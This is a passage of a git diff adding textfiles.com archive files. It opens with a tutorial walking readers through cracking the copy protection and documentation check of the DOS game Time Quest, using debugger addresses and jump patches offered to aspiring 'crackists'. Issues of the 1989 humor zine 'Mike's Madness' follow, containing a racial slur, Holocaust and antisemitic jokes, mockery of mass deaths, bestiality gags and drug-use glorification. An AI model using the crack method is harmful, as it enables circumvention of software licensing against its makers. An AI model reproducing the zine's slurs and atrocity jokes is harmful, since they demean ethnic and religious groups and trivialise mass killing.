protection completely. Now, wasn't that simple. Just save the +changes and you're done. + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Sample Crack-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +Software Name: Time Quest +Software Company: Legend + +Here is a walkthru for cracking a more complex loader that calls in a +moderately difficult doc check. +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + + Obtain an uncracked copy of Time Quest, and prepare your debuggers. Okay, +Here's the situation. The main part of the game is in the file TIMEMAIN.EXE, +but we have to run TQ.EXE in order to play the game. If you try running +TIMEMAIN.EXE, it will (as I mentioned) tell you to run TQ.EXE to load the game. +So what do we do? Unlike the previous sample crack, there are no parameters +that are displayed that we could load into the debugger. The TQ.EXE file loads +in part of the title screen, and determines your graphics and sound modes, so +we're in a bad situation. + + If you try debugging TQ.EXE to get to TIMEMAIN.EXE, the following will +happen. You'll eventually reach the part where a CALL statement loads in +TIMEMAIN.EXE. The program will take control or lock up. So naturally, you +try tracing through, till you get to another CALL statement that does the same +thing. You'll keep doing this until you get to the INT-21 that loads in the +TIMEMAIN.EXE, and it will lock up there....if you trace through, it will take +you to a part of the program that you don't ever want to tamper with. You'll +be where it makes all the jump comparisons for all the INT-21's. Proceeding +through this area will most likely bring up a message like "System Halted. Can +Not load Command.com" so now were stuck....or are we? + + Now think for a minute and get creative. TQ.EXE somehow loads in +TIMEMAIN.EXE. So what if we can trick TIMEMAIN.EXE into thinking that TQ.EXE +has already been run. All we'll do in the process is leave out the Legend +Software title screen. And, hopefully, we'll enact the default settings, which +will bring in CGA graphics. This will make it easier to see what's going on, +because with the CGA graphics, it's in black and white, and very simple +structure, which is what we want when stepping through a debugger. So, let's +get started. Load TIMEMAIN.EXE into your debugger and start proceeding. + + You should come to CS:0548 JMP 29B1:09A2 where you will proceed through, +jumping to a new code segment address. Keep proceeding on. You'll come to +CS:0A20 where you'll then be kicked into a new code segment address. Proceeding +on will just bring you back to CS:0A21, so instead of going through all that, +jump to CS:0A21 before you reach CS:0A20, and then keep proceeding. + + After you reach the following: + + CS:0A41 CALL 232E:1AFB + + Trace through here, and keep going (proceeding through this call statement +will terminate the program and bring up that message telling you to run TQ.EXE +first). Keep proceeding till you come to the following: + + CS:1B12 CALL 18CA + + Trace through here, and keep going (proceeding through will have the same +result as the above mentioned). Now, you'll soon see the following: + + CS:18D6 CMP WORD PTR [BP+06],+09 + CS:18DA JZ 18F6 + + If we just proceed through these, the program will soon terminate as +above mentioned, but if we jump to 18f6, the game will start to load, so let's +fix this by changing CS:18DA to be the following: + + CS:18DA JMP 18F6 + + Note, that this change is not to be permanent. It is merely a temporary +change to allow us to load in the game so we can make the permanent chane to +the copy protection. Now then, proceed on. You'll hit a CALL statement that +will switch to the graphics mode, then you'll eventually reach: + + CS:1AFA RETF + + Proceed through this, and you'll return back to CS:1BC5. Proceed on. You +will hit a few calls along the way that will load in the screens, and eventually +you'll reach: + + CS:1C68 CALL 1F6F:188B + + This will call in the option that lets you type in a command, so type in +the following commands in this order (and note, that after you press enter, +you'll be back in the debugger. Instead of proceeding on, which will +eventually bring you back to CS:1C68, just go to 1C68 again and proceed through. +It will wait for you to input another command. Keep doing this until you've +input all the commands). + + wait + wait + w + open drawer + take card + enter interkron + put card in slot + timeset rome 44 + + Now, after entering the last command, (DO NOT JUMP back to 1C68 again) +proceed on. You will eventually come to: + + CS:2496 CALL 0D40 + + Trace through this call statement (proceeding through will bring up the +doc check). Now, proceed on until you eventually come to: + + CS:106E CALL 1B46:05C5 + + Trace through here (for the same reason as mentioned above), and then +proceed on and you'll eventually reach: + + CS:05F5 CS: + CS:05F6 JMP [BX+0B14] + + Proceed through this (If you ever try jumping (with the go command) to a +two part jump statement like this, make sure you go to the address with the +"CS:" and not the JMP, otherwise you will screw up the program and it will +jump you to the wrong place). Trace through: + + CS:09FC CALL 1CA7:1520 + + Now, proceed on till you come to: + + CS:160C CALL 45EA:1F8E + + Trace through this, and then trace through the call statement that you +immediately come upon, which is: + + CS:1F8E CALL 4537:0307 + + If you proceed through this, it will try to access your floppy drive, +because it won't be able to find the overlay file, so trace through it. Now, +proceed on till you get to CS:0379, where you will be taken back to CS:1F95, now +keep proceeding on, and you will go through a series of jump compare statements, +if you keep going on, you will eventually hit: + + CS:029F CALL 1E35:000C + + This is where the doc check will pop up. These jump comparisons are the +key to the doc check. If you notice, at: + + CS:029D JNZ 02B5 + + Here, is where it makes an obviously important comparison. Why is it +important you ask, well because look at what happends. If the value it's +comparing is zero, it proceeds on to CS:029F, where the doc check comes in, +so what happends if the value is not zero? Well, let's find out. Change +CS:029D to read CS:029D JMP 02B5 and then proceed on. You will soon hit a CALL +statement that will give a message displayed only after you pass the doc check, +thus we know we made it to the right area. So just make that change at CS:029D +permanent. And just to give you a little hint, the change you need to make will +have to go in the overlay file. So, now we're done. Wasn't so tough after all +now was it. + + ** Notice. This cracking scenario for Time Quest was done without any saved + games. Having saved games will effect the debugging process. You will + have a few other detours along the way before you get to CS:1C68, so either + try it on your own, if you have saved games, or move your saved games to + a different directory and try it without them first. It'll be easier. ** + +-------------------------------------------------------------------------------- + + Hopefully this will aid you on your quest to become a crackist. And remember, +don't get in over your head by attempting to crack something difficult, 'cause +it won't help ya at all, G. Laterz... + + - The Psychopath diff --git a/textfiles.com/magazines/MIKE.1 b/textfiles.com/magazines/MIKE.1 new file mode 100644 index 00000000..a4663d8a --- /dev/null +++ b/textfiles.com/magazines/MIKE.1 @@ -0,0 +1,43 @@ + +T E X T F I L E S + +

Electronic Magazines: Mike's Madness

+

+Mike Beebe fills issue after issue of his "Madness" with collections +of jokes, quotes, puns, and insults on the Peoples of Australia. +

+ + + + +
+
Filename
Size
Description of the Textfile
mike01.txt 6351
 Mike's Madness Issue #1 +
mike02.txt 8439
 Mike's Madness Issue #2 +
mike03.txt 4373
 Mike's Madness Issue #3 +
mike04.txt 4914
 Mike's Madness Issue #4 +
mike05.txt 6220
 Mike's Madness Issue #5 +
mike06.txt 7584
 Mike's Madness Issue #6 +
mike07.txt 6953
 Mike's Madness Issue #7 +
mike08.txt 10195
 Mike's Madness Issue #8 +
mike09.txt 5885
 Mike's Madness Issue #9 +
mike10.txt 5550
 Mike's Madness Issue #10 +
mike11.txt 13069
 Mike's Madness Issue #11 +
mike12.txt 12130
 Mike's Madness Issue #12 +
mike13.txt 10531
 Mike's Madness Issue #13 +
mike14.txt 8202
 Mike's Madness Issue #14 +
mike15.txt 10436
 Mike's Madness Issue #15 +
mike16.txt 6572
 Mike's Madness Issue #16 +
mike17.txt 14841
 Mike's Madness Issue #17 +
mike18.txt 8224
 Mike's Madness Issue #18 +
mike19.txt 13658
 Mike's Madness Issue #19 +
mike20.txt 11220
 Mike's Madness Issue #20 +
mike21.txt 9035
 Mike's Madness Issue #21 +
mike22.txt 12807
 Mike's Madness Issue #22 +
mike23.txt 12364
 Mike's Madness Issue #23 +
mike24.txt 15560
 Mike's Madness Issue #23 +
mike25.txt 7926
 Mike's Madness Issue #25 +
mike26.txt 18175
 Mike's Madness Issue #26 +

There are 26 files for a total of 251,214 bytes.

+ + + diff --git a/textfiles.com/magazines/MIKE/.windex.html b/textfiles.com/magazines/MIKE/.windex.html new file mode 100644 index 00000000..6893e416 --- /dev/null +++ b/textfiles.com/magazines/MIKE/.windex.html @@ -0,0 +1,43 @@ + +T E X T F I L E S + +

Electronic Magazines: Mike's Madness

+

+Mike Beebe fills issue after issue of his "Madness" with collections +of jokes, quotes, puns, and insults on the Peoples of Australia. +

+ + + + +
+
Filename
Size
Description of the Textfile
mike01.txt 6351
 Mike's Madness Issue #1 +
mike02.txt 8439
 Mike's Madness Issue #2 +
mike03.txt 4373
 Mike's Madness Issue #3 +
mike04.txt 4914
 Mike's Madness Issue #4 +
mike05.txt 6220
 Mike's Madness Issue #5 +
mike06.txt 7584
 Mike's Madness Issue #6 +
mike07.txt 6953
 Mike's Madness Issue #7 +
mike08.txt 10195
 Mike's Madness Issue #8 +
mike09.txt 5885
 Mike's Madness Issue #9 +
mike10.txt 5550
 Mike's Madness Issue #10 +
mike11.txt 13069
 Mike's Madness Issue #11 +
mike12.txt 12130
 Mike's Madness Issue #12 +
mike13.txt 10531
 Mike's Madness Issue #13 +
mike14.txt 8202
 Mike's Madness Issue #14 +
mike15.txt 10436
 Mike's Madness Issue #15 +
mike16.txt 6572
 Mike's Madness Issue #16 +
mike17.txt 14841
 Mike's Madness Issue #17 +
mike18.txt 8224
 Mike's Madness Issue #18 +
mike19.txt 13658
 Mike's Madness Issue #19 +
mike20.txt 11220
 Mike's Madness Issue #20 +
mike21.txt 9035
 Mike's Madness Issue #21 +
mike22.txt 12807
 Mike's Madness Issue #22 +
mike23.txt 12364
 Mike's Madness Issue #23 +
mike24.txt 15560
 Mike's Madness Issue #23 +
mike25.txt 7926
 Mike's Madness Issue #25 +
mike26.txt 18175
 Mike's Madness Issue #26 +

There are 26 files for a total of 251,214 bytes.

+ + + diff --git a/textfiles.com/magazines/MIKE/mike01.txt b/textfiles.com/magazines/MIKE/mike01.txt new file mode 100644 index 00000000..c7a4d03d --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike01.txt @@ -0,0 +1,205 @@ + And now it's time for Mike's Madness (Part 1) + + TERM PROJECT: + + Explain the Universe. Give three seperate examples. Due tomorrow. No philo +sophizing. Worth 50 points. + + MATH ASSIGNMENT, GRADUATE LEVEL. + + Create a new number system. It cannot contain the number 3. + + POLITICAL ASSIGMENT. + + A current unrest in El Salvador has lead to the arisal of two countering +factions trying to take San Salvador and control of the country. Given 50 +billion US dollars, 500,000 combat ready Marines, the 1st, 6th and 9th Air +bourne divisions, 200 F-16 and 150 F-14 fighters, 75 F-111 Fighter/bombers +350 A-10 anti-tank low interception level aircraft, 9 fully loaded B-52s +(conventional weapons only), the entire South American Intellegence Division +from both DoD and CIA, plus 2 free-fall 50 megaton hydrogen/cobalt nuclear +weapons, come up with a solution to this problem. ++ SCORING + +Per H-bomb left: 1000 points +Per aircraft left: 10 points +Per Marine/Airborne left: 1 point +Delivering San Salvador into US Hands: Extra man +Finding the magical egg: 250 points + new ability +Killing dragon at end: 800 points, plus STAR by name in high score file + + ----+++++====== POLITICAL ASSIGNMENT ======+++++---- + High Score Table + ---------------------------------------------------- + NAME : SCORE + ---------------------------------------------------- + : J. Stalin : 12 + : A. Hitler : -3 + : W. Churchill : 8 1/2 + : C. Hi-check : 4 + : A. The Great : 9 + : A. The Hun : 10 + : Good day, A. : 0 + : R. Reagan (*) : -36 + ---------------------------------------------------- + +Some famous (and not-so-famous) quotes: + + "Shit, higher education will rot your mind." + -- T. Bundy + + "I NEVER said that!" + -- M. Antionette + + "No, we haven't got Prince Albert in a can!" + -- Queen Victoria + + "Alright, who is the wiseguy with the arrow?" + -- General G. Custer + + "Now THAT'S entertainment!" + -- Jack the Ripper + + "Look mummy! An areoplane!" + -- Half the population of Hiroshima + + "What the fuck was that?" + -- The other half. + + "WHAT?! Who shot at a commercial aircraft?! Oh . . . Was it Russian?" + -- R. Reagan + + "Look mummy! An areoplane!" + -- Billy Smith, resident Pearl Harbor. + + "Now THAT'S entertainment!" + -- A. Hitler + + "At least they got Hiroshima first!" + -- T. Yakamoto. Mayor of Nagisaki + + "I feel great! I'll live another 80 years!" + -- Emporer H. Hito + + "Hey, what are these black things that keep biting us?" + -- Half the population in Europe in 1560 + + "Hey! Where did everybody go?" + -- The other half. + + "Who is there?" + -- S. Tate, March 17, OqOy1969 + + "I dunno, what do you want to do tonight?" + -- C. Manson, March 17, 1969 + + "I think I'm gonna be sick . . ." + -- J. Hendrix, last words. + + "Dan? Is that you, Dan?" + -- President G. Bush, last words. + + "And furthermore, we're gonna party like pagan viking barbarians . . ." + -- President Quaile, Inauguration Speech. + + "All the sudden, I feel like Jimi Hendrix . . ." + -- J. Joplin, last words. + + "Hey, who is the guy with the moustache?" + -- Germany, 1936 + + "Who is there?" + -- Czar Peter, October 17, 1917 + + "OH YEAH! I wonder what this fucker'll do in fourth gear!" + -- J. Dean, last words. + + "This is gonna be a pain in the neck . . ." + -- J. Mansfield, last words. + + "Oh wow, are we having some more champagne?" + -- V. Rappe, last words. + + "Oh, such a beautyful night for a swim!" + -- N. Woode, last words. + + "Did you hear something?" + -- Entire passenger and crew of Flight 201, somewhere over + Lockerbie, Scottland. + + "Hey! I have an idea!" + -- Lt. Col. O. North, A. Hitler, A. Hun, G. Khan, L. H. Oswald, + T. Bundy, C. Manson, J. Hinkley, S. Sirhan, etc. + + "I'll bet you do." + -- he American people, Europe, Eastern Asia, Rome, Eastern Asia, + J.F. Kennedy, 13 women acorss the U.S., S. Tate et. al., + R. Reagan, Robert Kennedy, etc. + + "Oh shit!" + -- Challenger crew (last words), every kamakazii who ever completed + his mission, Japan (1945), Europe (1940), crew and passenger + list from Hindenburg, Titanic, et. al., San Fransisco (OqOy1906), + + "OH SHIT!" + -- Germany (1936-1945), Britian (1776), Anastasia (1917), Wall + Street (1929, 1987), Los Alamos (1945), American Indians (1492), + The Fry Guys (1988), Karacatowa residents (1898). + + "Damn." + -- R. Nixon, O. North, J. and T. Bakker, G. G. Liddy, A. Hitler, + T. Bundy, R. Dewey, C. Manson, U.S. of A. (1972), B. Arnold, + A. Capone, [D N. Bonapart, G. Powers, J. Tower, D. Peunte, + + "Double damn." + -- R. Nixon, T. Bundy, C. Manson, B. Arnold, N. Bonapart + + "Triple damn." + -- R. Nixon, T. Bundy + + "Quadruple damn." + -- R. Nixon + + "Who axed ya?" + -- L. Bordon + + "I'm telling!" + -- J. Hoffa, last words + + "Did you say something?" + -- J. C. Lilly, walking passed dolphin tank. + + "Hello, what can I do for you, Mr. White?" + -- San Fransisco mayor G. Moscone, last words + + "I think I'm gonna be sick . . ." + -- Elvis Presley, last words + + "Do you smell something?" + -- Oh, lots of Jews in lots of showers. + + "I'm SURE I smell something!" + -- Bopahl, India. + + "Do YOU smell smoke?" + -- Guests at MGM Grand, Las Vegas; Triangle Waist Shirt Co., + Boston + + "You married WHO?" + -- E. Braum's mother. + + "You think it'll work, huh?" + -- E. Teller, Los Alamos (1945) + + "Oh really? So how much you want for a couple of 'em?" + -- R. Samuals, first man in America to buy a slave, after being + told they wouldn't cause any problems. + + "The End" + -- Message written on a 190 megaton hydrogen/plutonium bomb + kept at S.A.C. Headquarters. + + + But don't quote me. + + M. Beebe + diff --git a/textfiles.com/magazines/MIKE/mike02.txt b/textfiles.com/magazines/MIKE/mike02.txt new file mode 100644 index 00000000..ea8c0e5f --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike02.txt @@ -0,0 +1,213 @@ +Mike's Madness (Issue #2, Oh NO!!) + + "Here we go again" + -- Germany, 1937 + +Mike's Guide to CABLE TV!!! + + Channel 2: + Guns 'n Roses: If you can't sing, SCREAM! + + Channel 3: + NBC: There's laughs-a-plenty when Gary Coleman gets the shit stomped + outta him by a group of Skinheads. Stay tuned for "Hep me! Hep me! + Dere's a group o' skinheads out to kick my ass!" + + Channel 4: + Cable Guide: 250 programs you pay $23.50 a month to watch that you would + never in a cold day in hell watch if they were offered on + free TV. + + Channel 5: + CNN: Two economists drone on and on and on and on and on about shifts in + the GNP that mean absolutly nothing. + + Channel 6: + KVIE/PBS: It's "Screwing Animals" night on PBS! Stayed tuned for the best + in mammalian reproduction as we take a look at feline predators + gettin' their rocks off. Viewer discresion and a barf-bag + advised. + + Channel 7: + Video Hits 1: Tonight's line-up: + Bon Jovi: Born to be an abortion + Def Leppard: We suck and our drummer's only got one fucking arm + White Lion: We suck too! + Megadeath: And us! + MetallicA: Us also! + Elvis Presely: Pass me that bucket o' extra crispy + White Lion: No, we really do suck! + Motely Crue: We sold out! We sold out! + Cindi Lauper: I got no tits + Janise Jackson: No, goddamnit! That's JANISE, not MICHAEL! + Ozzy Ozbourne: Pass me that bucket o' extra-crispy uncooked + White Lion: I'm serious! We suck like a Hoover in a tornado! + Thomas Dolby: Hey, I'm really sorry about the Aliens ate my Buick deal + White Lion: Have I mentioned the fact we suck? + D.J. Jazzy Jeff and Fresh Prince: What the hell rhymes with "Orange"? + Pink Floyd: Waters, PLEASE come back! PLEEEEASE! + Eddie Brackel and the New Bohemians: Ever heard anything by White Lion? + Chicago: 100 more creative album names + Z.Z. Top: No, that's not pubic hair glued to our faces + Elvis Presely: Hey, pass me that bucket o' lard + White Lion: Hey! I'm not screwing around! We wholly suck! Big Time! + Art of Noise: Music without meaning + Janise Joplin: Someone farted. Alright . . . HEY! Who cut the cheese! + White Lion: I don't get that last joke! + Lenin and the Bolsheviks: That's because you're capitalist swine! + Hitler and the Boot Boys: No, they suck. Haven't you been reading this + W. Churchill and the Spitfires: Ah-ha! The games up, Adolf! + Mao Se Tung and the Redbooks: Not so fast, English pig! I've interrupted you + Fuck-up and the line-feeds: Damn, I hate when that happens. + Etc. + + Channel 8: + (Channel 40): Stay tuned now for 3 hours of solid boredom when the Brady + Kids meet the Bad News Bears in "Oh God, I think I'm going + to vomit!" + + Channel 9: + ESPN: We promise you a thrill a minute when the best in midget wrestling + begins next. Followed by a PBS special "The Animal Kingdom". Tonight, + episode 8, "Screwing". + + Channel 10: + (Channel 10): Our news sucks! We're the absolute worst. Tonite on news at + 5:13:45, "White Lion: A new force in vacuum technology." + + Channel 11: + (TV 58): Tonight, we present Ethel Merrman, Edgar Casey and Jizz, the wonder + dog in the 1941 classic "I was Hitler's left nut" + + Channel 12: + (KRBK, Channel 31): Tonight we present Jizz, the wonder dog and Timmy Green + in the 1942 classic "Mom, what's Spunky doing to that + man's leg?" + + Channel 13: + (Channel 13): Series. "Beauty and the Beastiality". Tonight, things get + REALLY ugly after Vincent watches 25 solid hours of PBS + and gets a REALLY interesting idea. + + Channel 14: + (Home Shopping): On sale tonight, 101 devices to protect against Credit + Card Fraud. + + Channel 15: + (Lifetime, Medical News): Program: "How to drain a festering anal pus + wart" (colour). In stereo where avalible. + + Channel 16: + (Who knows?): "How to bang quiff while smoking a spliff without getting + in a riff." (Not avalible locally) + + Channel 17: + (Who cares?): Sacramento Kings vs. 3 9-year-olds. 1-25 odds on Kings + + Channel 18: + (I don't): Weak spincter bowl-off. Sponsored by Depend Undergarments. + + Channel 19: + (Spanish): Emilio Estevez and Julio Englazies in "Hey! Don't go fuckin' + with those niggers down by the tracks!" (1935) + + Channel 20: + (KTVU, San Fransisco): News special; 101 more ways to get a social disease + from our animal friends. Sponsored by PBS. + + Channel 21: + (Nickelodeon, kids): "You can't do that on television!". The topic of + masturbation is examined in depth with Jizz, the + Wonder Dog. (Wonder if he'll do it again?) + + Channel 22: + (Something or other): HE DID! HE DID! And all over the Setee'. Blimey! + + Channel 23: + (See 22): Long distance zit pop-off! See which contestants can go the + distance! Last year's winner Herb Goldberg has a ripe, red + one stored up on his forehead and it looks like the mountain + on the nose of challenger Amy Duclose will be able to give + Herb a squirt for his money. + + Channel 24: + (See 69?): The South Area Skinheads present "Bowling for Jews!". Prizes + this week include an all expense paid vacation to Germany, + paid bail for the next 5 years and a burning cross! + + Channel 25: + (Often?): White Lion Special: The 1988 "We really fucking suck" Concert + tour. In mono where avalible. + + Channel 26: + (Really?): Flipper and Lassie and Trigger and Mr. Ed. (1968). DIS-GUSTING! + They can't really show that, can they? REALLY? I didn't know + you could fit a Volkswagon in there. Wait a sec, lemme call + the wife and have her set up the VCR . . . + + Channel 27: + (KRBK, Channel 44, Bay Area): The Bay City Ballers! Baller derby returns + to the Cow Palace with the all important + "Fuck 'till your balls are the size of + raisins" match between Jimmy Swaggart and + then entire female population of Reno, Nevada + + Channel 28: + (Another one of those): Fuck off! We're watching Channel 26! + + Channel 29: + (Headline News): See 3 hours of news chopped into incomprehensible 30 second + block with commercials slipped in every 15 seconds. + + Channel 30: + (Educational Consortium): "Math is Fun and other famous bullshit stories" + + Channel 31: + (Showtime): Viet Nam is the focus of this months and every other month's + movies. I'm serious, we got Viet Nam movies like White Lion + sucks! We got more fucking Viet Nam movies than poor animal + sex jokes in this letter. Oh yeah, we got a WW II movie, too. + + Channel 32: + (Country Muzik): YEE-HAA! It's HEE-HAWW! Thaz right! 50 solid hours of + HEE-HAWW! What a treat! What a prize! What a condition + for crimes against humanity! + + Channel 33: + (Farts and Entertainment): WW II Documentries! You want 'em, we got 'em!! + We must have about 3 trillion hours of film + from a war that lasted about 4 years. But hey! + We got Japs! We got Gerry! The Blitz, Pearl + Harbour, Midway, Coral Sea, Berlin -- you + name a historical incident, we got the film!!!! + We also have some screwing animal films, but + we only show those after the kids have gone to + to bed. + + Channel 34: + (HBO): See Channel 37 + + Channel 35: + (Discovery): Right! Right! WE got screwing animal films that would take the + kink outta your pubic hair! PBS would get kicked off the + air if they showed some of these. If you can find it in an + encyclopedia, we got film of it humping something! Close + shots, low angle, over-head, telephoto shots. We'll show + you places not even the animals themselves can see! Ho + blimey! And I'll tell you what, we here at Discovery have + seen EVERY FUCKING SECOND They got a shot of me sticking me + arm straight up a lionesses' [C E N S O R E D] up to my + bleedin' armpit! It was wonderful! (The Staff of + Sacramento Cable regrets to announce that Discovery will no + longer be shown in Sacramento. Damn.) + + Channel 36: + (Weather): The weather for Georgia, like you really fucking cared. + + Channel 37: + (Cinemax): See Channel 34 + + Welp, there's nothing on cable again, so I guess I'll just go to bed now. + Good night! + + diff --git a/textfiles.com/magazines/MIKE/mike03.txt b/textfiles.com/magazines/MIKE/mike03.txt new file mode 100644 index 00000000..d6063c56 --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike03.txt @@ -0,0 +1,98 @@ +Mike's Madness #3 + + You know, a lot of people have accused me of being a loadie. But what +exactly is a "loadie"? Here is an official test to help you determine if +you're a loadie or not: Give yourself 1 point for each that applies to you. + +YOU KNOW YOU'RE A LOADIE WHEN . . . +----------------------------------- +* Your eyes are red even when you're straight +* You've run up a $300 bill in a restaurant by yourself +* KGB to you means Killer Green Bud +* When you've eaten a roach +* When you've eaten a roach twice +* To you "Hey Bud! Let's Party!" is "Hey! Bud! Let's Party!" +* If you've ever spent more than $200 on a bong +* You don't have a single brownie recipe that doesn't call for hashish +* You've thought that roach spray you just used was atomized green bud roaches +* Between going to heaven or a Floyd concert, you choose Floyd +* You know the words to every Pink Floyd song ever written +* Can sing the entire Tea for the Tillerman album +* You can hold your breath for more than 4 minutes +* You have the nick-name "Leather Lungs" +* You can't drive when you're straight +* You've smoked your own weight in Indica +* You can't follow the white line on the freeway because you're too busy + following the white line on the mirror +* You've actually been awake more than 25 days in a row +* You've dropped acid for a solid year in a row +* You actually plan to move to Amsterdam +* When someone happens to say "I had a fever . . ." you immediately think + "My hands felt just like two balloons." +* You think that Jimi Hendrix just might have had the right idea on the + National Anthem +* You and two buddies can kill off a whole keg in one night +* You didn't know you could drink water straight +* You emulate W.C. Fields to perfection +* A.A. has given up hope on you +* You're at the Betty Ford clinic more often than home +* You usually get a Christmas card from the owner of the local liquor store +* Can drink a 12 pack without stopping for a piss +* You can shot-gun more beers than most people can drink +* You have a bong with an inch of resin in it +* Your dealer would suck your dick before losing your business +* You've gone to Columbia in search of Gold +* The border guards know you by name +* You've slept eight days in a row +* Snorted a year's salary of coke in one night +* You know every drug dealer in a ten city radius by first and last name +* You can't remember a time when you weren't wholly fucked up +* You've met Ed McMahon in a bar +* You've been totally shit-faced within 5 minutes of coming home from work +* You've taken a college-level final stoned +* The only reason you go to school is because you can't get stoned at home +* You've driven from San Francisco to Dallas in two days without stopping + for a rest +* You've spent more than $1000 in a grocery store (at once) +* Get letters of thanks from Stolichnya +* Visine uses you as a test patient for all their new products +* You can roll a joint stoned, in the dark, with your hands tied behind your + back +* You have dreams about getting a job in a brewery +* You can imitate the McKenzie Brothers better than they can +* D&D to you means Drunk and Disorderly +* You have actually considered smoking a toad skin +* You have actually smoked a toad skin +* You can smoke a whole joint in one hit +* You can honestly say you've tried everything Hunter S. Thompson has written + about +* You've actually eaten a peyote button +* You've actually done it twice +* You actually admire Fat Freddy +* You actually are Fat Freddy + +SCORING: +-------- +1-2: Ah you lightwieght! Come on, start sparking up more often! Jeeze. +3-4: Shut the door. +5-6: You can do better than that! Buy an ounce and smoke it tonight! +7-8: My Grandmother does better than this. Try her hash brownies! +9-10: Doin' okay now +11-15: Better +16-20: Much better now +21-25: Great! +26-30: Excellent! +31-35: Ho shit! You're almost a loadie! +36-40: * * * LOADIE! * * * +41-45: Dangerous loadie +46-50: You are a hazard to yourself and others +51-55: Someone should be shot for letting you loose on the streets +56-59: You're either bullshitting or about to die +60-62: You died a week ago but you haven't come down yet +63 : You are a drug crazed poltergiest that God could not put out of misery +64 : How ya doin' Mr. Tower? + +Heh Heh. +(c) 1989 Yucks for You Inc. + + diff --git a/textfiles.com/magazines/MIKE/mike04.txt b/textfiles.com/magazines/MIKE/mike04.txt new file mode 100644 index 00000000..ca45904e --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike04.txt @@ -0,0 +1,148 @@ +And now, its time for (*drum roll*).... + += = = = = = = = = = = = = = = +M I K E ' S M A D N E S S # 4 += = = = = = = = = = = = = = = + +------------------------------------------- +HOW MUCH DO YOU KNOW ABOUT THE MODERN WORLD +------------------------------------------- + +1) $3,000,000,000,000 is . . . +a) The amount of the national debt +b) The cost to deploy SDI +c) The first figure Robin Given's mother said. + +2) Many teenage blacks take great pride in . . . +a) Martin Luther King Jr. +b) Jessie Jackson +c) Having a car-stereo that can be heard over an Ozzy concert + +3) With computers, you can . . . +a) Work at home +b) Balance whole financial empires + Get fucked by the Government twice as fast as before + +4) Roosevelt is tied to the war years like Reagan is tied to . . . +a) The first strong 8-year Presidency +b) The age when America got her respect back +c) Every fucking problem in the last eight years + +5) The main outcome of World War II was . . . +a) The establishment of the mean for global government +b) The beginning of Soviet expansion over Europe +c) The Japanese own Hawaii, the Germans own the East Coast and the British + are giving us the finger. + +6) Nuclear weapons . . . +a) Can provide the ultimate deterence for war +b) Will be a big part of US/Soviet relations into the 21'st century +c) Can fuck your day when used incorrectly + +7) Modern growth in sign language is best presonified by . . . +a) The large number of colleges that offer degrees in dactology +b) The fact many sign language symbols, like love, have been adopted by culture +c) The number of people you flipped off going down the freeway today + +8) The 60's are best explained by the saying: +a) "Make love, not war" +b) "Tune in, turn on, drop out" +c) "Got any dope?" + +9) The biggest threat to society today is . . . +a) The omnipresent threat of nuclear war +b) The growth of urban gangs +c) Elvis impersonators + +10) The insult heard most around the world is . . . +a) "May Allah curse your wife!" +b) "Your mother!" +c) "American!" + + +-------------------------------------------------------------------- +Here's a test to determine how much you know about Political Science +-------------------------------------------------------------------- +1) The PLO claims parts of Isreal as its own. This is an example of: +a) An irredentist claim +b) A seperatist claim +c) Why flying to Europe ain't such a hot idea anymore + +2) The 1'st US fleet is sitting off the Libyan coast. This means: +a) Libya is making claims on international waters +b) The US is making its presence known +c) The US finally figured out who downed that plane over Scotland + +3) The Hind is to Warsaw Pact troops as the Apache is to: +a) NATO troops +b) The US Marines +c) Fraud + +4) If a piece of military hardware fails in testing . . . +a) It is reworked and tested again +b) Examined by Congress before further monies are spent +c) It will be in world-wide usage before the year is over + +5) Boeing is known for +a) Huge airplane sales that aid the US economy vastly +b) State-of-the-art military technology +c) Screwing the taxpayers + +6) The NRA is an example of +a) A P.A.C. +b) A nonpartisan, yet very strong, coalition +c) A group of people who are a hazard to themselves and others + +7) The JDL is an example of +a) an Ethic PAC +b) A group trying to protect the rights of a minority +c) Totalitarianism with a new name + +8) Most people greet their congressman . . . +a) With a smile and firm handshake +b) With congratulations on the newest bill the congressman is trying to pass +c) By yelling "CROOK!" + +9) Fraud, lying and theft are examples of +a) Behavior not tolerated by democratic personalities +b) Hallmark behavior of authoritarian personalities +c) Politics at their best + +10) Culture is . . . +a) the answers that a group of people come up with to meet the challenges of + survival +b) The basis of all political interaction +c) Wholly lacking in Sacramento, CA + +11) Hitler is an example of +a) A dictator +b) A minor political figure who rose in the ranks to a world power +c) The perfect NRA member + +12) Most Republicans are +a) Wealthy, from the upper middle class +b) Politically active within their community +c) Sadly misguided + +13) Gun control is +a) A popular topic of political conversation +b) A decision for the Judicial branch +c) Being able to hit your target + +14) The struggle of Class vs. Class is a ________ struggle? +a) Political +b) Marxist/Leninist +c) Typical Valley Highschool + +15) If you have 1 dollar, you . . . +a) Are a participant in the world economy +b) Have about 800 Pesos +c) Will probably get killed in Oak Park + +16) The biggest probability of a nuclear exchange could result from +a) A Soviet invasion of Iran +b) US involvement in a Persian Gulf conflict +c) Dan Quaile becoming President + +(C) 1989 Yucks for You, Inc. + diff --git a/textfiles.com/magazines/MIKE/mike05.txt b/textfiles.com/magazines/MIKE/mike05.txt new file mode 100644 index 00000000..6f9ecb77 --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike05.txt @@ -0,0 +1,166 @@ +--- --- ---- ---- --- ------ ------- -- +And now it's time for Mike's Madness #5 +--- --- ---- ---- --- ------ ------- -- + +(Mike's Trip to Australia as a Teacher) + + "Okay class, this is a bottle opener. You use it to open Foster's +bottles. Just so happens I have a case and a half stashed away in the lab +fridge. Okay, who can tell me the Golden Rule of Poli-Sci? Thaz right, +Political Science is the last refuge for the bullshit artist. Okay, we'll +be picking up where I left off last week when I passed out. And that point +happens to be about a foot and a half from the men's loo. Hey, is that +janitor still pissed? Well, he's only a bloody Abbo anyway. Alrighty, +chapter 5, Drinking. Drinking is a very important part of Australian +Culture. The founding fathers were loaded when they got here and their +desOBcendants have been loaded ever since. Quick question: What do we do on +Australian Independence day apart from drinking? Thaz right -- nothing. +Bloody Foster's sales make up 10% of the GNP here! Okay, what's a good thing +for a hangover? Thaz right, Billy -- drinking heavily the night before. +Yup, and I pretty well made up that prerequirement last period. What's the +Australian national symbol? No, it is NOT 